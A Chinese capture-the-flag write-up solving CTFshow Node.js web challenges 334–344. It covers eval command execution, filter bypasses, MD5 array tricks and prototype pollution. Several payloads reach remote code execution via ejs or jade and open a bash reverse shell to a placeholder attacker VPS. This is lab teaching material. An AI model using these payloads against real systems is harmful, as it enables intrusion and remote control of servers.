CTFSHOW | nodejs题解 web334 - web344

什么是nodejs

Node.js 是一个基于 Chrome V8 引擎的开源、跨平台的 JavaScript 运行环境,主要用于在服务端运行JavaScript代码。以前JavaScript大多只能在浏览器中运行,有了 Node.js,开发者可以用 JavaScript 开发后端服务端应用,比如Web服务器、命令行工具等

核心特点如下:

  • 采用 事件驱动非阻塞式I/O模型,使其高效、轻量,特别适合处理高并发、I/O密集的网络应用
  • 利用 V8 引擎,JavaScript 代码执行速度快、性能高
  • 拥有全球最大的开源包管理生态系统—— npm,可便捷地安装和管理各种第三方模块和工具包
  • 让前端开发者可以用同一种语言开发前后端,提高开发效率与协同

Node.js 不是一门新语言,也不是JavaScript的框架,更不是Web服务器;它就是一个能在服务器端运行JavaScript的平台,类似于Java的JVM在服务器上运行Java程序

题目列表

web334

下载题目附件进行分析,一共就两个文件

user.js里面写了用户账号密码

然后login.js是关于登录的一些逻辑校验,其中我们需要重点关注的是findUser变量这里

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

要求名字不为CTFSHOW,但是后面有个toUpperCase()函数,也就是输入的用户名会变大写,那只要输入小写的ctfshow,经过toUpperCase()变大写之后就通过验证了

打开题目环境,登录框输入

账号:ctfshow
密码:123456

成功拿到flag

web335

打开题目环境,查看网页源代码,可以看到有注释提示,可以拼接进网站访问

应该是eval()函数,可以用child_process来调用API执行系统命令

什么是child_process

child_process 是 Node.js 的一个核心模块,用于在应用程序中创建和管理子进程,让 JavaScript 能够在服务器端执行外部命令、脚本或者进行多进程并发运算

常用API

  • spawn():创建新进程,流方式处理数据,适合实时数据处理
  • exec():执行命令或脚本,回调方式返回所有输出,适合一次性任务
  • execFile():直接执行文件,减少命令注入风险
  • fork():专门用于启动新的 Node.js 进程,并与主进程实现 IPC(进程间通信)
  • execSync():同步执行命令,阻塞直到完成,返回结果,简洁直观
  • spawnSync():同步版本的 spawn,阻塞等待子进程完成,返回详细进程信息

这题需要我们用require包含child_process模块来调用API执行命令

但是如果我们直接执行exec(),会返回[object Object]

/?eval=require('child_process').exec('ls').toString()

这是因为exec()是异步执行,通过回调函数传递输出与错误,直接调用的话会返回一个 ChildProcess 对象,正确的方法应像下面这样

const { exec } = require('child_process');
const cp = exec('ls', (err, stdout, stderr) => {
  console.log(stdout); // 这里才是命令输出
});

execSync()则是同步执行,直接返回命令执行后的输出内容(Buffer 或 String),可以直接打印数据

所以我们用execSync()来执行命令

payload:

/?eval=require('child_process').execSync('ls').toString()

成功得到flag

当然调用spawnSync()也可以,不过直接打印的话它会返回一个包含多个属性的对象,需要用stdout输出Buffer,然后通过toString()转换为字符串,调用格式为spawnSync(command, args)。如果你把命令和参数写在同一个字符串里(如 'cat fl00g.txt'),spawnSync 会当作单一命令去执行,导致找不到该命令或执行出错,因此需要拆开

payload:

/?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

web336

这题跟上题差不多,但是调用execSync()不行了

这里介绍两个变量,__filename__dirname

__filename:获取当前模块文件的完整绝对路径文件名
__dirname:获取当前文件所在目录的完整目录名

直接在网站拼接命令执行

/?eval=__filename

可以看到网站显示了当前文件的绝对路径/app/routes/index.js

我们用fs模块的readFileSync()来读取文件,fs模块(File System 模块)是专门用于进行文件系统相关操作的

/?eval=require('fs').readFileSync('/app/routes/index.js').toString()

直接爆出源码

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {

  res.type('html');
  var evalstring = req.query.eval;
  if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
    res.render('index', { title: 'tql' });
  } else {
    res.render('index', { title: eval(evalstring) });
  }
});

module.exports = router;

可以看到过滤了包含 execload 的字符串,有很多种方法可以做这题

1. 字符串拼接绕过

execSync拆成 exe + cSync,然后拼接字符串,%2B是加号

/?eval=require('child_process')['exe'%2B'cSync']('ls').toString()

然后读取flag即可

/?eval=require('child_process')['exe'%2B'cSync']('cat fl001g.txt').toString()

2. spawnSync() 命令执行

跟web335一样,换成spawnSync()即可绕过

/?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

3. readFileSync() 文件读取

先用readdirSync()读取目录文件,然后用readFileSync()读取文件内容即可

/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt')

web337

题目给出了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

其中重点需要关注的是

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){

要求传入的ab长度相同,内容不相同且要求 a 加上 flag 后的 MD5 哈希值,必须等于 b 加上 flag 后的 MD5 哈希值

这里我们用数组绕过

这里涉及到一个概念,如果传入a[]=1&b[]=2,返回的是数组['1']['2'],在md5校验那里就相当于需要['1']+flag===['2']+flag,而由于JavaScript **隐式类型转换 + 字符串拼接 **的原因,['1']+flag会变成1flag,举个例子

console.log("1" + [2,2]);
// 步骤: [2,2] -> 调用 toString() => "2,2"
// 字符串拼接 => "1" + "2,2" => "12,2"

因此只要我们输入

a[]=1&b=1

a解析为数组['1'],b解析为字符串'1',经过转换之后,得到的结果都是1flag,因此它们的md5相同,成功通过验证

也是顺利拿到flag

还有一种方法,就是往数组里面传入非数字索引,例如

a[x]=1&b[x]=2

返回的结果是{ x: '1'}{ x: '2'},变成JS里面的对象了,传入对象之后,经过console.log后返回的都是[object Object],此时进行变量拼接得到的结果为[object Object]flag,再进行md5加密之后也是相同的

如果传入a[x]=1&b[x]=1也是可以的,因为两个对象的比较并不是比较属性,而是通过引用内存里的位置来比较的,所以 a !== b 的条件依然成立

web338

下载源码分析,先看app.js

可以看到包含了index.jslogin.jsindex.js里面没什么东西,主要看login.js文件

想要拿到flag就必须要secertctfshow属性值为36dboy,且secert变量值为空。向下分析,可以看到body的内容被copy到了user里面,查看copy的定义,可以发现copy竟然跟merge方法一模一样,因此这题可以用原型链污染来做,传入属性__proto__来污染Object原型

做原型链污染之前,建议先看一遍文章了解一下:深入理解 JavaScript Prototype 污染攻击

打开题目环境,随便输入账号密码

可以看到body的值传到了user里面,我们修改键值对为

{"__proto__":{"ctfshow":"36dboy"}}

这样做可以污染Object的原型,从而使得所有对象都继承了该属性,于是进行验证的时候,满足secert.ctfshow==='36dboy',也就拿到了flag

原型链被污染后,部分代码里其他依赖对象原型正常结构的地方会出错,依赖于纯净、标准原型链的对象操作(比如 for…in、Object.keys()、属性枚举和判断、库函数内部操作等)可能会出错或出现行为异常,导致POST访问/login时报 500 错误

因此这题只有一次污染机会,如果写错了值的话就只能重新启动环境做了,因为POST访问/login只返回500了

web339

打开源码分析,在app.js可以看到指向三个路由

相比上一题,这题login.js的校验条件变了

要求secert.ctfshow===flag,但我们并不知道flag的值,因此只能另辟蹊径

继续分析api.js,发现可以通过污染query来控制Function执行RCE操作

由于 Node.js 默认不会自动暴露 requireFunction 创建的函数,因此这里用process.mainModule.constructor._load 替代 require来包含child_process

payload:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}

这里我们用exec执行反弹shell,因为exec是异步的,适用于长时间/交互式/不需要立即结果的任务(例如反弹 shell、启动后台进程、并发执行多任务)。这题的目标不是“读取输出”,而是“建立外部控制会话”,因此异步 exec 足以完成“执行命令”的动作,而且更贴合反连的使用场景:父进程不被阻塞,持续提供服务

先在VPS处开启nc监听,然后跟上题一样,在/login处传入payload

接着POST访问/api即可建立连接

执行命令env,在环境变量里成功找到flag

web340

下载源码进行分析,也是先看app.js

可以看到,还是这几个文件,不过不同的是,login.js里面的user变量变了

要求isAdmin为true才可以通过,但是isAdmin已经被赋值为false了,因此在这里没办法污染

继续分析,可以看到api.js跟上题一样,因此可以用上题的方法来污染query反弹shell

但是如果直接传入__proto__,再访问/api会发现行不通

需要污染两层才可以,因为user.__proto__不是Object.prototypeuser.__proto.__proto__才是

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

也是在环境变量处找到flag

下面详细解释一下为什么user.__proto__不是指向Object.prototype,开启本地调试,先在web340项目文件夹处打开终端,运行 npm install安装依赖

然后在项目文件夹处打开package.json,可以看到负责启动服务器的是bin/www,因为在很多标准的Express项目中,项目结构是分离的

修改配置文件的工作目录为web340,文件为bin/www

www文件中,可以看到运行的端口是在3000

login.js的第19行开启断点调试,然后网页打开http://127.0.0.1:3000,在登录框随便输入点东西,触发if(user.userinfo.isAdmin){判断

可以看到userinfo的__proto____proto__才是Object的prototype,为了更直观,我们在控制台输出看看

对于user这个变量

  var user = new function(){ //这是外层匿名构造函数
    this.userinfo = new function(){ //这是内层匿名构造函数
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }

user.userinfo 对象是由内层构造函数创建的,所以 user.userinfo.__proto__ 指向内层构造函数的prototype

而内层构造函数的__proto__指向的才是Object的prototype

所以这就是为什么要传入两次的原因

拓展概念

只有函数才拥有 prototype 属性,而由构造函数创建出来的普通对象实例没有这个属性

例如user.userinfo是一个对象实例,但它没有属于自己的 prototype 属性,控制台输出为undefined

属性谁拥有作用
prototype构造函数定义实例继承的“蓝图”
__proto__任意对象实例(包括函数对象)一个指向其构造器的 prototype 的引用指针

web341

下载附件分析代码,发现这题没有api.js了,而且login.js也没有地方污染

继续分析代码,在app.js可以看到包含了ejs,且引擎设置为ejs

网上搜了一下,发现ejs模板引擎有个漏洞可以利用,实现从原型链污染到RCE

参考文章:Express+lodash+ejs: 从原型链污染到RCE

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"');var __tmp2"}}}

跟上题一样,也是在/login里POST写入,然后刷新一次页面即可

env找到flag

web342

下载代码分析,总体跟上题代码差不多,但是app.js这两个地方不同

模板引擎换成了jade,上网参考了部分文章,链接:再探 JavaScript 原型链污染到 RCE

payload:

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

跟上题一样,在/login里POST写入,然后刷新一次页面

env找到flag

web343

这题在web342的基础上增加了过滤,但是影响不大,可以继续用上题的方法

payload:

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}

/login里POST写入,然后刷新一次页面

在环境变量中读取flag

后面看了一下login.js到底过滤了什么

只过滤了text,没什么用

web344

这题给出了部分代码,先分析一下

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了8c、2c和逗号,然后要求GET传入参数query,且满足 query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true 才可以拿到flag

也就是正常情况下我们应该传入

?query={"name":"admin","password":"ctfshow","isVIP":true}

而经过URL编码之后变成

?query=%7B%22name%22%3A%22admin%22%2C%22password%22%3A%22ctfshow%22%2C%22isVIP%22%3Atrue%7D

双引号编码之后是%22,和c连接起来就是%22c,会被ban

这题用到了NodeJS的特性,当 URL 里传入了多个同名参数,如多次出现 query=,Express 解析会将这些参数放入数组中,然后JSON.parse 会将数组的字符串元素拼接成一个完整字符串再解析。同时c也要进行URL编码,变成%63,这样就不会被ban了

payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

参考

bfengj:CTFshow-WEB入门-node.js

yu22x:CTFSHOW nodejs篇

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值